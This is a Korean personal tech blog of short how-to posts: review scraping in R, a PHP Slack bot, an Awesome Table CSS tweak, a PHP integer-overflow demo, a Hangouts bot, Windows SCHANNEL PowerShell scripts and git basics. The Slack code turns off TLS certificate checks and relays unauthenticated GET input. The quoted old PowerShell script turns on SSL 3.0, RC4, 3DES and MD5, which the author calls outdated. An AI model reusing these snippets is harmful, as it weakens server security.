frontPage <- remDr$getPageSource() #페이지 전체 소스 가져오기

 

reviewNames <- read_html(frontPage[[1]]) %>% html_nodes('.bAhLNe.kx8XBd') %>% html_nodes('.X43Kjb') %>%  html_text() #페이지 전체 소스에서 리뷰 정보(이름, 날짜) 부분 추출하기 

 

reviewDates <- read_html(frontPage[[1]]) %>% html_nodes('.bAhLNe.kx8XBd') %>% html_nodes('.p2TkOb') %>%  html_text() #페이지 전체 소스에서 리뷰 정보(이름, 날짜) 부분 추출하기 

 

reviewComments <- read_html(frontPage[[1]]) %>% html_nodes('.UD7Dzf') %>%  html_text() #페이지 전체 소스에서 리뷰 정보(이름, 날짜) 부분 추출하기

 

reviewStars <- read_html(frontPage[[1]]) %>% html_nodes('.nt2C1d') %>% html_nodes('.pf5lIe') %>% html_children() %>% html_attr("aria-label") #페이지 전체 소스에서 리뷰 정보(이름, 날짜) 부분 추출하기

 

reviewData <- data.frame(name=reviewNames, date=reviewDates, comment=reviewComments, stars=reviewStars)

 

 

write.csv(reviewData, "sh.csv")

 

 

remDr$close()

stars.png

 

 

 

 

https://stat4701.github.io/edav/2015/04/02/rvest_tutorial/

 

[slack] bot 을 이용한 메시지 보내기

[원문보기]

browse Apps -> Custom Integrations -> Bots 에서


bot을 추가하여 이름 정도만 설정하면 access-token을 받을 수 있다.


xoxb 로 시작하는 token을 넣은 뒤 아래와 같은 php 소스로 메시지 전송이 가능하다.


<?php

$cont="#".$_GET["channel"];

echo slack($_GET["cont"],$cont);

function slack($message, $channel)

{

    $ch = curl_init("https://slack.com/api/chat.postMessage");

    $data = http_build_query([

        "token" => "xoxb-~~~",

        "channel" => $channel, //"#general",

        "text" => $message, //"Hello, Foo-Bar channel message.",

        "username" => "MySlackBot",

    ]);

    curl_setopt($ch, CURLOPT_CUSTOMREQUEST, 'POST');

    curl_setopt($ch, CURLOPT_POSTFIELDS, $data);

    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);

    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);

    $result = curl_exec($ch);

    curl_close($ch);

    return $result;

}

?>

[awesome table] CSS 적용하기

[원문보기]

구글 awesome table 기본 css 는 처음에 깔끔하긴 하지만, 역시 동일하게 적용하면 기술적으로 복사해서만 구현한 것 같다.


이를테면, XE 기본 템플릿, 전자정부프레임워크의 기본 스타일로 적용된 페이지는 노력이 덜 들어간 느낌이다.


구글도 이를 인지했는지, 어렵지만, CSS 를 적용하는 방법을 지원한다.


개인적으로 사용한 것은 필터 부분의 버튼 색을 흰색으로 바꾸고 크기를 줄인 것이다.


기본 테이블 헤더의 정렬과, 내용(td) 부분 정렬 방식을 지정하여, 조금 더 출력이 일괄 가운데 정렬보다는 심혈을 기울인 듯한 모습을 보인다.


* awesome table gadget 의 4번째 탭(Advenced Parameter)의 templates range 에서 영역을 설정하고, 1행은 <style> 이라고 하면 된다.(해당 내용은 여기서 다루지 않음)


.awt-vis-controls-csvFilter .awt-csvFilter-button {background:#ffffff;}

.google-visualization-table-table th {text-align:center;}

.google-visualization-table-table td {padding-left:12pt;text-align:justify;max-width:150px;}

.awt-vis-controls-csvFilter .awt-csvFilter-dropdown-menu {min-width:100px;}

.awt-vis-controls-csvFilter .awt-csvFilter {min-width:100px;}


추가적으로 전체 헤더 색을 지정하는 부분이다. 원래는 회색인데, 푸른색 계열로 적용하면 hover 색이랑 약간 비슷하긴 하지만, 통일감도 있고, 흑백 느낌을 줄여준다.

.google-visualization-table-table .gradient,

.google-visualization-table-div-page .gradient {

        background: #82b6f7 !important;

}

[PHP] int bufferoverflow

[원문보기]

php bufferoverflow example 로 찾으면 검색되는 코드에서 이해를 위한 코드를 덧붙였다.


PHP_INT_MAX 값은 int 9223372036854775807 이고, 해당 값을 초과하면 9.2233720368548E+18 가 출력된다.


// 초기 값은 최대값에서 6을 뺀 값으로 설정하고, 최대 int 까지 배열 값을 지정했다.

$initval=9223372036854775801;

$arr[9223372036854775801]=1;

$arr[9223372036854775802]=2;

$arr[9223372036854775803]=3;

$arr[9223372036854775804]=4;

$arr[9223372036854775805]=5;

$arr[9223372036854775806]=6;

$arr[9223372036854775807]=7;

$chkval=$_GET["input"];
//입력 값을 chkval 이라는 변수에 할당하고

echo "<br />";
if($initval <= PHP_INT_MAX-$chkval){
echo "sum : ". $max = $initval + $chkval;
}else{
echo "overflow! ". $max = $initval + $chkval;
}
// 최대값을 넘지 않으면 input과 초기값의 합을 출력한다.
// 최대값을 넘으면 overflow 된 값을 출력한다.

echo "<br />";
echo "saved val : ";
echo "<br />";
// 배열값을 잘 참조하는지 참조하지 못한 값이 들어가면 오류가 발생하는 예를 보여주기 위해 각 배열 값을 출력했다.
for($i=0;$i<$chkval;$i++){
echo $initval+$i ." : ". $arr[$initval+$i];
echo "<br />";
}

[not overflow] input is 7
if input > 7 then overflow

sum : 9223372036854775807
saved val :
9223372036854775801 : 1
9223372036854775802 : 2
9223372036854775803 : 3
9223372036854775804 : 4
9223372036854775805 : 5
9223372036854775806 : 6
9223372036854775807 : 7

[overflow] input is 8

overflow! 9.2233720368548E+18
saved val :
9223372036854775801 : 1
9223372036854775802 : 2
9223372036854775803 : 3
9223372036854775804 : 4
9223372036854775805 : 5
9223372036854775806 : 6
9223372036854775807 : 7
9.2233720368548E+18 :

[pull챗봇] 행아웃 X Google Spreadsheet with Apps script

[원문보기]
구글의 예제코드는 공개되어 있으며, 단순 응답으로 되어 있다.
 
구글 앱스 스크립트(GS)를 주로 스프레드 열람 등에 썼기 때문에, 특정 시트 값을 가져오는 것은 너무나 익숙하다.
 
 /**
 * Responds to a MESSAGE event in Hangouts Chat.
 *
 * @param {Object} event the event object from Hangouts Chat
 */
function onMessage(event) {
  var name = "";
  if (event.space.type == "DM") {
    name = "You2";
  } else {
    name = event.user.displayName;
  }
  var ss = SpreadsheetApp.openById("시트ID");
  var s1 = ss.getSheetByName("시트2");
  var r1 = s1.getRange(2, 1, 3, 4);
  var v1 = r1.getValues();
  var message = name + " said "" + event.message.text + """;
  message = message + v1.join(" ");
  return { "text": message };
}
/**
 * Responds to an ADDED_TO_SPACE event in Hangouts Chat.
 *
 * @param {Object} event the event object from Hangouts Chat
 */
function onAddToSpace(event) {
  var message = "";
  if (event.space.type == "DM") {
    message = "Thank you for adding me to a DM, " + event.user.displayName + "!";
  } else {
    message = "Thank you for adding me to " + event.space.displayName;
  }
  return { "text": message };
}
/**
 * Responds to a REMOVED_FROM_SPACE event in Hangouts Chat.
 *
 * @param {Object} event the event object from Hangouts Chat
 */
function onRemoveFromSpace(event) {
  console.info("Bot removed from ", event.space.name);
}
 
다른 점은 배포 방식인데, 매니페스트에서 배포를 선택해야 한다.
 
re.jpg

 

 
배포된 ID를 구글 클라우드 콘솔에서 Hangouts Chat API 구성에 추가한다.
 
id.jpg

 

[구글 클라우드 콘솔 Hangouts Chat API 구성]
cons.jpg

 

 
해당 작업이 완료되면 채팅방에서 봇에게 말을 걸도록 추가해 줘야 한다.
 
기존 행아웃이 아닌 chat.google.com 으로 진행해야 하며, 모바일 앱 역시 행아웃 채팅이란 앱을 설치해야 한다.
 
좌측 상단의 사용자, 채팅방, 봇 찾기를 누르고 설정한 이름이 정상적으로 보이면 성공한 것이다.
 
스프레드시트 열람 권한을 얻는 것까지 절차를 거치면, 봇에게 스프레드시트의 내용을 보여주도록 할 수 있다.
 
1.jpg

 

 
hc.jpg

 

  

[SSL] SSL 설정 파워쉘 스크립트

[원문보기]

4년 전 거라 조금 수정이 필요한 부분이 있다.

 

키 교환의 Diffie-Hellman는 0000000000 으로 

 

TLS 1.3의 출시로 SSL ROBOT이 주목되는지는 모르겠지만, 키 교환과 암호화 방식, 검증 방식에 대해 가장 잘 설명된 그림을 찾았다.

 

2017-07-29_14-29-10.png

 

 

rsa.jpg

 

 

윈도우즈 설정 참고 사이트

https://support.microsoft.com/ko-kr/help/245030/how-to-restrict-the-use-of-certain-cryptographic-algorithms-and-protoc

 

TLS 1.0과 RSA가 키교환 알고리즘으로 사용되는 서버의 예이다.

 

아래 파워쉘 스크립트를 이용해 설정을 보완할 수 있는데, 선택적으로 필요한 것을 적용하면, 취약점 제거에 용이할 것이다.

 

공개 키 암호 표준(Public-Key Cryptography Standard, PKCS)은 RSA 시큐리티에서 정한, 공개 키 암호에 대한 사용 방식에 대한 표준 프로토콜이다.

md 'HKLM:SYSTEMCurrentControlSetControlSecurityProvidersSCHANNELKeyExchangeAlgorithmsPKCS' -Force

New-ItemProperty -path 'HKLM:SYSTEMCurrentControlSetControlSecurityProvidersSCHANNELKeyExchangeAlgorithmsPKCS' -name Enabled -value '0x00000000' -PropertyType 'DWord' -Force

 

$cipherSuitesOrder = @(  'TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA384_P521',  'TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA384_P384',  'TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA384_P256',  'TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA_P521',  'TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA_P384',  'TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA_P256',  'TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA256_P521',  'TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA_P521', 'TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA256_P384',  'TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA256_P256',  'TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA_P384',  'TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA_P256',  'TLS_ECDHE_ECDSA_WITH_AES_256_GCM_SHA384_P521',  'TLS_ECDHE_ECDSA_WITH_AES_256_GCM_SHA384_P384',  'TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256_P521',  'TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256_P384',  'TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256_P256',  'TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA384_P521',  'TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA384_P384',  'TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA_P521',  'TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA_P384',  'TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA_P256',  'TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA256_P521',  'TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA256_P384',  'TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA256_P256',  'TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA_P521',  'TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA_P384',  'TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA_P256','TLS_RSA_WITH_AES_256_CBC_SHA256','TLS_RSA_WITH_AES_256_CBC_SHA','TLS_RSA_WITH_AES_128_CBC_SHA256','TLS_RSA_WITH_AES_128_CBC_SHA')

$cipherSuitesAsString = [string]::join(',', $cipherSuitesOrder)

New-ItemProperty -path 'HKLM:SOFTWAREPoliciesMicrosoftCryptographyConfigurationSSL�0010002' -name 'Functions' -value $cipherSuitesAsString -PropertyType 'String' -Force | Out-Null

 

New-ItemProperty -path 'HKLM:SYSTEMCurrentControlSetControlSecurityProvidersSCHANNELProtocolsTLS 1.0Server' -name 'Enabled' -value '0x00000000' -PropertyType 'DWord' -Force

New-ItemProperty -path 'HKLM:SYSTEMCurrentControlSetControlSecurityProvidersSCHANNELProtocolsTLS 1.0Server' -name 'DisabledByDefault' -value 1 -PropertyType 'DWord' -Force

 

 

기존 파워쉘 스크립트는 오래되어 수정이 필요하다.

 

https://gist.github.com/matejskubic/10268126

 

 

### http://www.hass.de/content/setup-your-iis-ssl-perfect-forward-secrecy-and-tls-12

# Add and Enable SSL 3.0 for client and server SCHANNEL communications
md 'HKLM:SYSTEMCurrentControlSetControlSecurityProvidersSCHANNELProtocolsSSL 3.0' -Force
md 'HKLM:SYSTEMCurrentControlSetControlSecurityProvidersSCHANNELProtocolsSSL 3.0Server' -Force
New-ItemProperty -path 'HKLM:SYSTEMCurrentControlSetControlSecurityProvidersSCHANNELProtocolsSSL 3.0Server' -name 'Enabled' -value '0xffffffff' -PropertyType 'DWord' -Force
New-ItemProperty -path 'HKLM:SYSTEMCurrentControlSetControlSecurityProvidersSCHANNELProtocolsSSL 3.0Server' -name 'DisabledByDefault' -value 0 -PropertyType 'DWord' -Force
 
# Add and Enable TLS 1.0 for client and server SCHANNEL communications
md 'HKLM:SYSTEMCurrentControlSetControlSecurityProvidersSCHANNELProtocolsTLS 1.0' -Force
md 'HKLM:SYSTEMCurrentControlSetControlSecurityProvidersSCHANNELProtocolsTLS 1.0Server' -Force
New-ItemProperty -path 'HKLM:SYSTEMCurrentControlSetControlSecurityProvidersSCHANNELProtocolsTLS 1.0Server' -name 'Enabled' -value '0xffffffff' -PropertyType 'DWord' -Force
New-ItemProperty -path 'HKLM:SYSTEMCurrentControlSetControlSecurityProvidersSCHANNELProtocolsTLS 1.0Server' -name 'DisabledByDefault' -value 0 -PropertyType 'DWord' -Force
 
# Add and Enable TLS 1.1 for client and server SCHANNEL communications
md 'HKLM:SYSTEMCurrentControlSetControlSecurityProvidersSCHANNELProtocolsTLS 1.1' -Force
md 'HKLM:SYSTEMCurrentControlSetControlSecurityProvidersSCHANNELProtocolsTLS 1.1Server' -Force
md 'HKLM:SYSTEMCurrentControlSetControlSecurityProvidersSCHANNELProtocolsTLS 1.1Client' -Force
New-ItemProperty -path 'HKLM:SYSTEMCurrentControlSetControlSecurityProvidersSCHANNELProtocolsTLS 1.1Server' -name 'Enabled' -value '0xffffffff' -PropertyType 'DWord' -Force
New-ItemProperty -path 'HKLM:SYSTEMCurrentControlSetControlSecurityProvidersSCHANNELProtocolsTLS 1.1Server' -name 'DisabledByDefault' -value 0 -PropertyType 'DWord' -Force
New-ItemProperty -path 'HKLM:SYSTEMCurrentControlSetControlSecurityProvidersSCHANNELProtocolsTLS 1.1Client' -name 'Enabled' -value 1 -PropertyType 'DWord' -Force
New-ItemProperty -path 'HKLM:SYSTEMCurrentControlSetControlSecurityProvidersSCHANNELProtocolsTLS 1.1Client' -name 'DisabledByDefault' -value 0 -PropertyType 'DWord' -Force
 
# Add and Enable TLS 1.2 for client and server SCHANNEL communications
md 'HKLM:SYSTEMCurrentControlSetControlSecurityProvidersSCHANNELProtocolsTLS 1.2' -Force
md 'HKLM:SYSTEMCurrentControlSetControlSecurityProvidersSCHANNELProtocolsTLS 1.2Server' -Force
md 'HKLM:SYSTEMCurrentControlSetControlSecurityProvidersSCHANNELProtocolsTLS 1.2Client' -Force
New-ItemProperty -path 'HKLM:SYSTEMCurrentControlSetControlSecurityProvidersSCHANNELProtocolsTLS 1.2Server' -name 'Enabled' -value '0xffffffff' -PropertyType 'DWord' -Force
New-ItemProperty -path 'HKLM:SYSTEMCurrentControlSetControlSecurityProvidersSCHANNELProtocolsTLS 1.2Server' -name 'DisabledByDefault' -value 0 -PropertyType 'DWord' -Force
New-ItemProperty -path 'HKLM:SYSTEMCurrentControlSetControlSecurityProvidersSCHANNELProtocolsTLS 1.2Client' -name 'Enabled' -value 1 -PropertyType 'DWord' -Force
New-ItemProperty -path 'HKLM:SYSTEMCurrentControlSetControlSecurityProvidersSCHANNELProtocolsTLS 1.2Client' -name 'DisabledByDefault' -value 0 -PropertyType 'DWord' -Force
 
# Disable Multi-Protocol Unified Hello
md 'HKLM:SYSTEMCurrentControlSetControlSecurityProvidersSCHANNELProtocolsMulti-Protocol Unified HelloServer' -Force
New-ItemProperty -path 'HKLM:SYSTEMCurrentControlSetControlSecurityProvidersSCHANNELProtocolsMulti-Protocol Unified HelloServer' -name Enabled -value 0 -PropertyType 'DWord' -Force
 
# Disable PCT 1.0
md 'HKLM:SYSTEMCurrentControlSetControlSecurityProvidersSCHANNELProtocolsPCT 1.0' -Force
md 'HKLM:SYSTEMCurrentControlSetControlSecurityProvidersSCHANNELProtocolsPCT 1.0Server' -Force
New-ItemProperty -path 'HKLM:SYSTEMCurrentControlSetControlSecurityProvidersSCHANNELProtocolsPCT 1.0Server' -name Enabled -value 0 -PropertyType 'DWord' -Force
 
# Disable SSL 2.0 (PCI Compliance)
md 'HKLM:SYSTEMCurrentControlSetControlSecurityProvidersSCHANNELProtocolsSSL 2.0Server' -Force
New-ItemProperty -path 'HKLM:SYSTEMCurrentControlSetControlSecurityProvidersSCHANNELProtocolsSSL 2.0Server' -name Enabled -value 0 -PropertyType 'DWord' -Force
 
#DO NOT USE FOR NOW
#
# WARNING: Notice I didn't turn off SSL 3.0 - the reason for this is due to the fact that, like it or not, 
# there are still people out there using Windows XP with IE 6/7. Without SSL 3.0 enabled, there would be 
# no protocol for those people to fall back on.
# Disable SSL 3.0 (PCI Compliance)
#
#md 'HKLM:SYSTEMCurrentControlSetControlSecurityProvidersSCHANNELProtocolsSSL 3.0Server' -Force
#New-ItemProperty -path 'HKLM:SYSTEMCurrentControlSetControlSecurityProvidersSCHANNELProtocolsSSL 3.0Server' -name Enabled -value 0 -PropertyType 'DWord' -Force
 
# Disable insecure ciphers
$insecureCiphers = 'NULL','RC2 40/128','RC2 56/128','RC2 128/128','RC4 40/128','RC4 56/128','RC4 64/128','DES 56/56'
Foreach ($insecureCipher in $insecureCiphers) {
  $key = (Get-Item HKLM:).OpenSubKey('SYSTEMCurrentControlSetControlSecurityProvidersSCHANNELCiphers', $true).CreateSubKey($insecureCipher)
  $key.SetValue('Enabled', 0, 'DWord')
  $key.close()
  Write-Host "$insecureCipher has been disabled"
}
 
# Enable new secure ciphers
$insecureCiphers = 'RC4 128/128','Triple DES 168/168','AES 128/128','AES 256/256'
Foreach ($insecureCipher in $insecureCiphers) {
  $key = (Get-Item HKLM:).OpenSubKey('SYSTEMCurrentControlSetControlSecurityProvidersSCHANNELCiphers', $true).CreateSubKey($insecureCipher)
  New-ItemProperty -path "HKLM:SYSTEMCurrentControlSetControlSecurityProvidersSCHANNELCiphers$insecureCipher" -name 'Enabled' -value '0xffffffff' -PropertyType 'DWord' -Force
  $key.close()
  Write-Host "$insecureCipher has been enabled"
}
 
# Set hashes configuration
md 'HKLM:SYSTEMCurrentControlSetControlSecurityProvidersSCHANNELHashesMD5' -Force
New-ItemProperty -path 'HKLM:SYSTEMCurrentControlSetControlSecurityProvidersSCHANNELHashesMD5' -name Enabled -value '0xffffffff' -PropertyType 'DWord' -Force
 
md 'HKLM:SYSTEMCurrentControlSetControlSecurityProvidersSCHANNELHashesSHA' -Force
New-ItemProperty -path 'HKLM:SYSTEMCurrentControlSetControlSecurityProvidersSCHANNELHashesSHA' -name Enabled -value '0xffffffff' -PropertyType 'DWord' -Force
 
# Set KeyExchangeAlgorithms configuration
md 'HKLM:SYSTEMCurrentControlSetControlSecurityProvidersSCHANNELKeyExchangeAlgorithmsDiffie-Hellman' -Force
New-ItemProperty -path 'HKLM:SYSTEMCurrentControlSetControlSecurityProvidersSCHANNELKeyExchangeAlgorithmsDiffie-Hellman' -name Enabled -value '0xffffffff' -PropertyType 'DWord' -Force
 
md 'HKLM:SYSTEMCurrentControlSetControlSecurityProvidersSCHANNELKeyExchangeAlgorithmsPKCS' -Force
New-ItemProperty -path 'HKLM:SYSTEMCurrentControlSetControlSecurityProvidersSCHANNELKeyExchangeAlgorithmsPKCS' -name Enabled -value '0xffffffff' -PropertyType 'DWord' -Force
 
# Set cipher suites order as secure as possible (Enables Perfect Forward Secrecy)
New-ItemProperty -path 'HKLM:SOFTWAREPoliciesMicrosoftCryptographyConfigurationSSL�0010002' -name 'Functions' -value 'TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA384_P521,TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA384_P384,TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA384_P256,TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA_P521,TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA_P384,TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA_P256,TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA256_P521,TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA_P521,TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA256_P384,TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA256_P256,TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA_P384,TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA_P256,TLS_ECDHE_ECDSA_WITH_AES_256_GCM_SHA384_P521,TLS_ECDHE_ECDSA_WITH_AES_256_GCM_SHA384_P384,TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256_P521,TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256_P384,TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256_P256,TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA384_P521,TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA384_P384,TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA_P521,TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA_P384,TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA_P256,TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA256_P521,TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA256_P384,TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA256_P256,TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA_P521,TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA_P384,TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA_P256,TLS_DHE_DSS_WITH_AES_256_CBC_SHA256,TLS_DHE_DSS_WITH_AES_256_CBC_SHA,TLS_DHE_DSS_WITH_AES_128_CBC_SHA256,TLS_DHE_DSS_WITH_AES_128_CBC_SHA,TLS_DHE_DSS_WITH_3DES_EDE_CBC_SHA,TLS_RSA_WITH_AES_256_CBC_SHA256,TLS_RSA_WITH_AES_256_CBC_SHA,TLS_RSA_WITH_AES_128_CBC_SHA256,TLS_RSA_WITH_AES_128_CBC_SHA,TLS_RSA_WITH_RC4_128_SHA,TLS_RSA_WITH_3DES_EDE_CBC_SHA' -PropertyType 'String' -Force
 
 
Write-Host 'After the system has been rebooted you can verify your server configuration at https://www.ssllabs.com/ssltest/'
Write-Host -ForegroundColor Red 'A computer restart is required to apply settings. Restart computer now?'
Restart-Computer -Force -Confirm

[창업일지] 폐업신고

[원문보기]
 사업자등록증 원본을 들고가서, 폐업신고서와 함께 제출하면 끝!

 뭐야.. 별거 아니잖아...

 잠깐 실업급여나 신청해 볼까.. 음... 좀 더 알아보고....

[다음View] 외부게시글 이용해 등록하기

[원문보기]
이미, 블로그가 다음View 에 가입되어 있는데, 외부 게시판에서 등록하고 싶다면, 새로운 아이디를 만들어야 한다.

그래야 가입하기 버튼이 잘 나온다.

xe의 경우 http://주소/xe/?mid=test1&act=rss 로 rss경로를 바꿔줘야 하는데, 이부분은 MY다음view에서 새글보내기를 누르고 설정할 수 있다. 이런 건 설명이 제대로 안 되어 있어서, 날 여러날 괴롭혔다. T.T;;;;

[GIT] github의 기본적인 명령어

[원문보기]
git reset : add나 rm 명령들을 제거한다.



git는 명령어를 사용하면 commit하고, push 하기 전 까지 완전히 적용이 안 된다.

따라서 add/rm 후, commit 하여 local repository에 적용시키고, push하여 remote repository에 까지 업데이트 한다.

1. git add[rm] 파일명
2. git commit -m "메시지"
3. git push origin master

업데이트 된 내용을 받으려면

git pull

하면 된다.


git checkout  -- <파일> : 현재 작업 중인 파일 중 수정된 파일을 index에 있는 것으로 원복
git reset --hard : 현재 작업 중이 파일을 모두 원복 시킴
git reset -- <파일명> : add같은 명령어로 인덱싱한 것을 취소함
첨부 (0)
위로